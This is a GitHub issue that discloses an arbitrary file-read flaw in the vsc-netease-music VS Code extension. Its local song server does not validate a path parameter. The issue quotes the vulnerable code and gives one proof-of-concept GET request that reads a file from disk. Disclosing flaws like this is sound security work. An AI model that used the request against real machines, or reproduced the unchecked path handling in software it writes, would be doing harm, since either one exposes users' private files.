Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Arbitrary file access #114

Open
tengattack opened this issue Apr 7, 2021 · 0 comments
Open

Arbitrary file access #114

tengattack opened this issue Apr 7, 2021 · 0 comments

Comments

@tengattack
Copy link

As vsc-netease-music creates a local server to serve song files, it doesn't check the path param, so we could access arbitrary files on disk.

let file = decodeURIComponent(urlParse(query.path).pathname), meta = {}
file = process.platform === 'win32' ? file.replace(/^\//, '') : file

GET http://127.0.0.1:16363/song/file?path=file://%2FD%3A%2Ftext.txt

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant